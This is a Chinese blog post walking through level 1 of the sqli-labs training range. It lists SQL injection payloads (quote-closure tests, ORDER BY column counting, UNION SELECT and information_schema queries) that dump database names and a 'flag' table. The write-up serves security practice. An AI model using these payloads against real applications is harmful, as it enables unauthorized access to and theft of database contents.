【靶场】sqli-labs 靶场通关（1-16）

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

---

sqli-labs第一关

输入?id=1 正常
输入?id=1'  报错
输入?id=1'--+ 正常

判断有注入点且闭合方式是 ’
使用and ‘1’='1判断他为字符型注入

?id=1' order by 3--+   正常
?id=1' order by 4--+   报错

判断回显位有三个。

id=0' union select 1,2,3 -- -

判断只有2,3位可以回显

?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆出表是 flag